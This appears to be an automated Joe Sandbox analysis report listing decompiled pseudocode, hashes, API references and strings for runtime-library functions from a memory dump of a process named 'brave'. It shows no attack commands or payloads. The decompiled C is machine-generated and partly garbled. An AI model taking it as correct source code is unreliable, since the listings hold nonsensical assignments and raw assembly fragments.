Opcode Fuzzy Hash: fb28173ffc3efe5c2c797d80106deafb06b5f9291af923cbf097269bcea0b66e
Instruction Fuzzy Hash: 1D013C73B3DA4185E611AB1AFC144AAA3A5BF88BD0FC84131ED4D43764EE3CF4458760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEEF210 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00007FF77FF77BEEF210(intOrPtr __rcx, long long __rdx, void* __r8) {
				void* _t7;
				intOrPtr _t14;

				_t14 =  *0x7c1a11b0; // 0x0
				if (_t14 == 0) goto 0x7beef290;
				if (__r8 == 0) goto 0x7beef251;
				if (__r8 == 0x7c1a11a0) goto 0x7beef251;
				r8d = 0x46;
				0x7bf01790();
				 *0x7c1a11a0 =  *0x7c1a11a0 + 0x7c1a11a0;
				if (0x7c1a11a0 == 0) goto 0x7beef290;
				 *0x7c1a11a0 = __rcx;
				 *0x7FF77C1A11A8 = __rdx;
				_t7 = E00007FF77FF77BEF0230(0x7c1a11a0, 0x7c192ba0);
				 *0x7c1a11a0 = 0x7c1a11a0;
				 *0x7FF77C1A11B0 =  *0x7c1a11a0;
				return _t7;
			}

0x7ff77beef217
0x7ff77beef225
0x7ff77beef22a
0x7ff77beef236
0x7ff77beef238
0x7ff77beef24c
0x7ff77beef25e
0x7ff77beef266
0x7ff77beef268
0x7ff77beef272
0x7ff77beef276
0x7ff77beef27e
0x7ff77beef283
0x7ff77beef28e

APIs

_assert.MSVCRT ref: 00007FF77BEEF24C
calloc.MSVCRT ref: 00007FF77BEEF25B

Strings

!dso || dso == &__dso_handle, xrefs: 00007FF77BEEF245
C:/crossdev/src/mingw-w64-v8-git/mingw-w64-crt/crt/tls_atexit.c, xrefs: 00007FF77BEEF23E

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: _assertcalloc
String ID: !dso || dso == &__dso_handle$C:/crossdev/src/mingw-w64-v8-git/mingw-w64-crt/crt/tls_atexit.c
API String ID: 615528074-4180103562
Opcode ID: 3ff3c1c08b56fb9e230e04f1b49c40747e94c7a2db62898a806f7c776ec9269e
Instruction ID: 57acf8d7cdea83907619357e4fcea33b1ee582aff22cfec56a2dc2fcd4498cfc
Opcode Fuzzy Hash: 3ff3c1c08b56fb9e230e04f1b49c40747e94c7a2db62898a806f7c776ec9269e
Instruction Fuzzy Hash: B101B577B38A4245F711AB99F8501B9A2D1AF497D0FC98130DE0C477A9EF6CD981C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEEE1F0 Relevance: 6.3, APIs: 5, Instructions: 94
stringCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00007FF77FF77BEEE1F0(void* __rax, void* __rcx, void* __rdx, intOrPtr* __r8, long long* __r9) {
				void* _v48;
				long long _v56;
				long long _v64;
				char _v72;
				void* _t17;
				void* _t18;
				void* _t20;
				void* _t22;
				void* _t23;
				intOrPtr* _t34;
				long long* _t36;
				intOrPtr* _t45;
				void* _t46;

				_t45 = __r8;
				_t36 = __r9;
				if (__rcx == 0) goto 0x7beee2e0;
				if (__rdx == 0) goto 0x7beee21b;
				if (__r8 == 0) goto 0x7beee2e0;
				_v72 = 0;
				_v64 = 0;
				_v56 = 0;
				_v48 = 0;
				_t18 = E00007FF77FF77BEED760(_t17, _t23, __rax, __rcx, 0x7ff77bee51f0,  &_v72);
				if (__rax == 0) goto 0x7beee320;
				_t34 = _v48;
				if (_t34 == 0) goto 0x7beee2c0;
				 *_t34 =  *_t34 + _t18;
				 *((intOrPtr*)(_t46 - 0x7b)) =  *((intOrPtr*)(_t46 - 0x7b)) + _t22;
				asm("in al, 0xf");
				strlen(??);
				if (_t34 -  *_t45 >= 0) goto 0x7beee300;
				_t20 = memcpy(??, ??, ??);
				free(??);
				if (_t36 == 0) goto 0x7beee2ad;
				 *_t36 = 0;
				return _t20;
			}

0x7ff77beee1fe
0x7ff77beee201
0x7ff77beee207
0x7ff77beee210
0x7ff77beee215
0x7ff77beee227
0x7ff77beee230
0x7ff77beee239
0x7ff77beee242
0x7ff77beee24a
0x7ff77beee251
0x7ff77beee257
0x7ff77beee262
0x7ff77beee26f
0x7ff77beee271
0x7ff77beee274
0x7ff77beee27e
0x7ff77beee286
0x7ff77beee292
0x7ff77beee29d
0x7ff77beee2a5
0x7ff77beee2a7
0x7ff77beee2bb

APIs

strlen.MSVCRT ref: 00007FF77BEEE27E
memcpy.MSVCRT ref: 00007FF77BEEE292
free.MSVCRT ref: 00007FF77BEEE29D

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: freememcpystrlen
String ID:
API String ID: 2208669145-0
Opcode ID: 498b3f5b9e13853de3fd77891ce67d711f26d8732301d510346af88e7737a2e8
Instruction ID: d7c6309a20b3ea66006684f8a9a8f1ac9f9889d2036d542c16d82e4834cea10a
Opcode Fuzzy Hash: 498b3f5b9e13853de3fd77891ce67d711f26d8732301d510346af88e7737a2e8
Instruction Fuzzy Hash: 79317433A3965241FEA66E99950037AB2947F4879CF884531ED5E0B3FCDFBCA5448620

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEFD380 Relevance: 6.3, APIs: 4, Instructions: 321COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF77BEFD471

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: d70349bc9c1524d26521fd65c4a458df4fb405ac5d07478a6779465ec2e0c7d3
Instruction ID: 2b8dbce46cff495c60af9437cdf4d5bb819260ca323d6aca36649a2ef1836a7a
Opcode Fuzzy Hash: d70349bc9c1524d26521fd65c4a458df4fb405ac5d07478a6779465ec2e0c7d3
Instruction Fuzzy Hash: F4C1D973E381414AEBA16A2C800037AAE91BB4476CFD5C234DA1D577EDCABDF9439760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEFA7D0 Relevance: 6.3, APIs: 4, Instructions: 319COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF77BEFA8C1

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 346d97d3c0f16ec61348305e898cb21c60e62e2f68d204def2d18b4ac65c552e
Instruction ID: 657b2481c77a421eb960a4b5ac64b5b1595f0db3babfbca6a406501d7e0caaa2
Opcode Fuzzy Hash: 346d97d3c0f16ec61348305e898cb21c60e62e2f68d204def2d18b4ac65c552e
Instruction Fuzzy Hash: D9C1E773E386424EE7A06A2C9104339A6B1BF04798FD57234DA1D1F7E9CABCF9458760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEED760 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 315
stringCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E00007FF77FF77BEED760(signed int __eax, signed int __edx, void* __rax, signed char* __rcx, signed int* __rdx, long long __r8) {
				signed int _t82;
				int _t83;
				void* _t84;
				int _t87;
				void* _t98;
				void* _t100;
				long long _t119;
				long long _t126;
				signed long long _t127;
				signed long long _t131;
				long long _t148;
				signed long long _t154;
				unsigned long long _t158;
				signed long long _t164;
				void* _t165;
				void* _t167;
				void* _t168;
				signed long long _t180;
				signed char* _t186;
				signed char* _t188;

				r15d =  *__rcx & 0x000000ff;
				_t98 = r15b - 0x5f;
				if (_t98 == 0) goto 0x7beedad0;
				_t164 =  *__rdx * 0;
				asm("repe cmpsb");
				asm("sbb al, 0x0");
				r14d = 0;
				if ((__eax & 0xffffff00 | _t98 > 0x00000000) != 0) goto 0x7beed7e0;
				_t119 = __rax - 0x24;
				_t100 = (__rcx[8] & 0x000000ff) - 0x3b;
				if (_t100 > 0) goto 0x7beed7e0;
				asm("dec eax");
				if (_t100 >= 0) goto 0x7beed7e0;
				_t82 = __rcx[9] & 0x000000ff;
				if (_t82 == 0x44) goto 0x7beedb10;
				if (_t82 == 0x49) goto 0x7beedb10;
				_t83 = strlen(??);
				 *((long long*)(_t164 - 0x50)) = __rcx;
				_t148 = _t119;
				 *((long long*)(_t164 - 0x40)) = 0x11;
				r8d = _t148 + _t148;
				 *((long long*)(_t164 - 0x48)) = _t119 + __rcx;
				 *(_t164 - 0x38) = __rcx;
				 *(_t164 - 0x24) = r8d;
				 *((long long*)(_t164 - 0x28)) = 0;
				 *((long long*)(_t164 - 0x14)) = _t148;
				 *((long long*)(_t164 - 0x18)) = 0;
				 *((long long*)(_t164 - 0x10)) = 0;
				 *((long long*)(_t164 - 8)) = 0;
				 *_t164 = 0;
				if (r8d - 0x800 > 0) goto 0x7beedab3;
				_t84 = E00007FF77FF77BEEF680(_t83);
				_t167 = _t165 - 0x218 - (r8d << 5);
				_t158 = _t167 + 0x27;
				E00007FF77FF77BEEF680(_t84);
				_t168 = _t167 - (0x0000000f + __edx * 0x00000008 & 0xfffffff0);
				 *(_t164 - 0x30) = _t158 & 0xfffffff8;
				_t126 = _t168 + 0x20;
				 *((long long*)(_t164 - 0x20)) = _t126;
				if (r14d == 1) goto 0x7beedae8;
				if (_t126 - 1 > 0) goto 0x7beedaf8;
				_t188 =  &(__rcx[0xb]);
				 *(_t164 - 0x38) = _t188;
				if (__rcx[0xb] != 0x5f) goto 0x7beed8b8;
				if (__rcx[0xc] == 0x5a) goto 0x7beedc32;
				 *(_t164 - 0x60) = _t158 >> 3;
				 *(_t164 - 0x54) = r8d;
				_t87 = strlen(??);
				r8d =  *(_t164 - 0x54);
				_t180 =  *(_t164 - 0x60);
				if (r8d <= 0) goto 0x7beedbf3;
				 *((long long*)(4 + _t180 * 8)) = 0;
				 *((long long*)(_t164 - 0x28)) = 1;
				if (_t126 <= 0) goto 0x7beedbf3;
				 *(_t180 * 8) = 0;
				 *(0x10 + _t180 * 8) = _t188;
				 *(0x18 + _t180 * 8) = _t87;
				r9d = 0;
				E00007FF77FF77BEE4DD0();
				strlen(??);
				_t186 =  &(( *(_t164 - 0x38))[_t126]);
				 *(_t164 - 0x38) = _t186;
				if (( *_t186 & 0x000000ff) != 0) goto 0x7beedaee;
				if (_t126 == 0) goto 0x7beedaee;
				 *((long long*)(_t164 + 0x120)) = __rdx;
				 *((char*)(_t164 + 0x118)) = 0;
				 *((long long*)(_t164 + 0x110)) = 0;
				 *((long long*)(_t164 + 0x128)) = __r8;
				 *((long long*)(_t164 + 0x130)) = 0;
				 *((long long*)(_t164 + 0x138)) = 0;
				 *((long long*)(_t164 + 0x140)) = 0;
				 *((long long*)(_t164 + 0x148)) = 0;
				 *((long long*)(_t164 + 0x150)) = 0;
				 *((long long*)(_t164 + 0x158)) = 0;
				 *(_t164 + 0x160) = 0;
				 *((long long*)(_t164 + 0x168)) = 0;
				 *((long long*)(_t164 + 0x170)) = 0;
				 *((long long*)(_t164 + 0x178)) = 0;
				E00007FF77FF77BEE50B0();
				if ( *((long long*)(_t164 + 0x144)) - 0x7ff > 0) goto 0x7beeda0c;
				 *((long long*)(_t164 + 0x144)) = 0;
				_t127 =  *((intOrPtr*)(_t164 + 0x16c));
				 *((long long*)(_t164 + 0x180)) = 0;
				_t154 =  *(_t164 + 0x17c) * _t127;
				_t128 =  <=  ? 0x1 : _t127;
				_t129 = ( <=  ? 0x1 : _t127) << 4;
				 *(_t164 + 0x17c) = _t154;
				E00007FF77FF77BEEF680( *_t186 & 0x000000ff);
				_t169 = _t168 - (( <=  ? 0x1 : _t127) << 4);
				_t131 =  >  ? _t154 : 0x1;
				E00007FF77FF77BEEF680(_t131);
				 *(_t164 + 0x160) = _t131 << 4;
				 *((long long*)(_t164 + 0x170)) = _t168 - (( <=  ? 0x1 : _t127) << 4) + 0x20;
				E00007FF77FF77BEEBFE0(_t164 + 0x10, _t126);
				 *((char*)(_t164 +  *((intOrPtr*)(_t164 + 0x110)) + 0x10)) = 0;
				return  *((intOrPtr*)(_t164 + 0x120))() & 0xffffff00 |  *((intOrPtr*)(_t164 + 0x140)) == 0x00000000;
			}

0x7ff77beed77b
0x7ff77beed788
0x7ff77beed78c
0x7ff77beed79b
0x7ff77beed7a1
0x7ff77beed7a6
0x7ff77beed7a8
0x7ff77beed7ad
0x7ff77beed7b4
0x7ff77beed7b7
0x7ff77beed7b9
0x7ff77beed7c5
0x7ff77beed7c9
0x7ff77beed7cb
0x7ff77beed7d2
0x7ff77beed7da
0x7ff77beed7e3
0x7ff77beed7e8
0x7ff77beed7ec
0x7ff77beed7f2
0x7ff77beed7f9
0x7ff77beed7fd
0x7ff77beed803
0x7ff77beed807
0x7ff77beed80b
0x7ff77beed812
0x7ff77beed815
0x7ff77beed81c
0x7ff77beed824
0x7ff77beed82c
0x7ff77beed83b
0x7ff77beed84b
0x7ff77beed850
0x7ff77beed856
0x7ff77beed872
0x7ff77beed877
0x7ff77beed87a
0x7ff77beed87e
0x7ff77beed883
0x7ff77beed88b
0x7ff77beed898
0x7ff77beed89e
0x7ff77beed8a7
0x7ff77beed8ab
0x7ff77beed8b2
0x7ff77beed8bb
0x7ff77beed8bf
0x7ff77beed8c3
0x7ff77beed8c8
0x7ff77beed8cc
0x7ff77beed8d3
0x7ff77beed8d9
0x7ff77beed8e5
0x7ff77beed8ee
0x7ff77beed8f4
0x7ff77beed904
0x7ff77beed90c
0x7ff77beed923
0x7ff77beed929
0x7ff77beed938
0x7ff77beed93d
0x7ff77beed940
0x7ff77beed94b
0x7ff77beed954
0x7ff77beed95a
0x7ff77beed96b
0x7ff77beed972
0x7ff77beed97d
0x7ff77beed984
0x7ff77beed98f
0x7ff77beed99a
0x7ff77beed9a5
0x7ff77beed9b0
0x7ff77beed9ba
0x7ff77beed9c5
0x7ff77beed9d0
0x7ff77beed9db
0x7ff77beed9e6
0x7ff77beed9f1
0x7ff77beeda00
0x7ff77beeda02
0x7ff77beeda0c
0x7ff77beeda22
0x7ff77beeda2c
0x7ff77beeda31
0x7ff77beeda35
0x7ff77beeda39
0x7ff77beeda3f
0x7ff77beeda44
0x7ff77beeda4b
0x7ff77beeda59
0x7ff77beeda67
0x7ff77beeda78
0x7ff77beeda7f
0x7ff77beeda98
0x7ff77beedac6

APIs

strlen.MSVCRT ref: 00007FF77BEED7E3
strlen.MSVCRT ref: 00007FF77BEED8C3
strlen.MSVCRT ref: 00007FF77BEED938

Strings

_GLOBAL_, xrefs: 00007FF77BEED797

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: strlen
String ID: _GLOBAL_
API String ID: 39653677-770460502
Opcode ID: a980d7a97dd603dd885cedb4aa38cc9247ee4e0068a44f4649bb0ec17d10a106
Instruction ID: 9df97c516c7f949ff1eb864ed19bcb3d3cbd0ea4b61e2c892832e851e9dff64b
Opcode Fuzzy Hash: a980d7a97dd603dd885cedb4aa38cc9247ee4e0068a44f4649bb0ec17d10a106
Instruction Fuzzy Hash: EBD12833A286C588F7609FA998043FE77A5AB05788F888035DE4C177ADDFBC9645C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEFD8C0 Relevance: 6.2, APIs: 4, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2003478f90ec538c76f09482347ae3f7c76a6382b38b985e93f8e09ec77093db
Instruction ID: c42b4ac29a4b0d6e00b3254b13b3fee1cdf751ee7e223b919c53e72f5aad685e
Opcode Fuzzy Hash: 2003478f90ec538c76f09482347ae3f7c76a6382b38b985e93f8e09ec77093db
Instruction Fuzzy Hash: 32919373A386464AE7A59F2D8104379AA91AB44B94FD4C131CE0D573ECDBBCF802D764

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEFAD10 Relevance: 6.2, APIs: 4, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e6e5f4dbbebcdbe2464d60878269abd70efe3d9c16f3e99d452a50a930ed317
Instruction ID: 080a3a1b04da9d077645bfab2057f4f6ba359e8a77363e46d79542a5b6c05f3b
Opcode Fuzzy Hash: 3e6e5f4dbbebcdbe2464d60878269abd70efe3d9c16f3e99d452a50a930ed317
Instruction Fuzzy Hash: C3919673A396524AE7A59F2D8100339A6A2AB04B94FD4A131DE0D1F3DDDB7CF8418760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF09C50 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 192
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF77BF09C50(void* __eflags, long long* __rcx, signed char* __rdx, long long __r8) {
				long long _v32;
				signed int _t6;
				long long _t15;

				_t15 = __rcx + 0x10;
				 *__rcx = _t15;
				if (__eflags == 0) goto 0x7bf09c75;
				if (__rdx == 0) goto 0x7bf09ce4;
				_v32 = __r8;
				if (__r8 - 0xf > 0) goto 0x7bf09cb0;
				if (__r8 != 1) goto 0x7bf09ca0;
				_t6 =  *__rdx & 0x000000ff;
				 *(__rcx + 0x10) = _t6;
				 *((long long*)(__rcx + 8)) = __r8;
				 *((char*)(_t15 + __r8)) = 0;
				return _t6;
			}

0x7ff77bf09c5e
0x7ff77bf09c68
0x7ff77bf09c6e
0x7ff77bf09c73
0x7ff77bf09c75
0x7ff77bf09c7e
0x7ff77bf09c84
0x7ff77bf09c86
0x7ff77bf09c8b
0x7ff77bf09c8e
0x7ff77bf09c92
0x7ff77bf09c9e

Strings

basic_string::_M_construct null not valid, xrefs: 00007FF77BF09CE4, 00007FF77BF09D94, 00007FF77BF09E44

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID:
String ID: basic_string::_M_construct null not valid
API String ID: 0-3522614731
Opcode ID: 14aa54d20c428766249a2dcfb27d26650a5f1dce7f3d40a69184aa0789750512
Instruction ID: 26181509a3df38b1b052b8e00a322b2bfa3c70bf0a14a947d56fb0b4f0d5a863
Opcode Fuzzy Hash: 14aa54d20c428766249a2dcfb27d26650a5f1dce7f3d40a69184aa0789750512
Instruction Fuzzy Hash: 7B518173A39A9181EB21BB1EE4001B9E7A0AB59FD4F888531DE9D07779EE3CD552C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF08FA0 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF77BF08FA0(long long* __rcx, intOrPtr* __rdx, long long __r8, void* __r9) {
				void* _t3;
				long long* _t7;

				_t7 = __rcx;
				_t9 =  *__rdx;
				_t16 =  *((intOrPtr*)( *__rdx - 0x18));
				if (__r8 -  *((intOrPtr*)( *__rdx - 0x18)) > 0) goto 0x7bf08fd2;
				r9d = 0;
				_t3 = E00007FF77FF77BF06C20(__r8, _t9 + __r8, _t9 + _t16);
				 *_t7 = __r8;
				return _t3;
			}

0x7ff77bf08fa5
0x7ff77bf08fa8
0x7ff77bf08fb1
0x7ff77bf08fbc
0x7ff77bf08fc1
0x7ff77bf08fc4
0x7ff77bf08fc9
0x7ff77bf08fd1

Strings

basic_string::_S_construct null not valid, xrefs: 00007FF77BF0912A
basic_string::basic_string, xrefs: 00007FF77BF08FD5, 00007FF77BF09033, 00007FF77BF09093
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF77BF08FDC, 00007FF77BF0903A, 00007FF77BF0909A

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
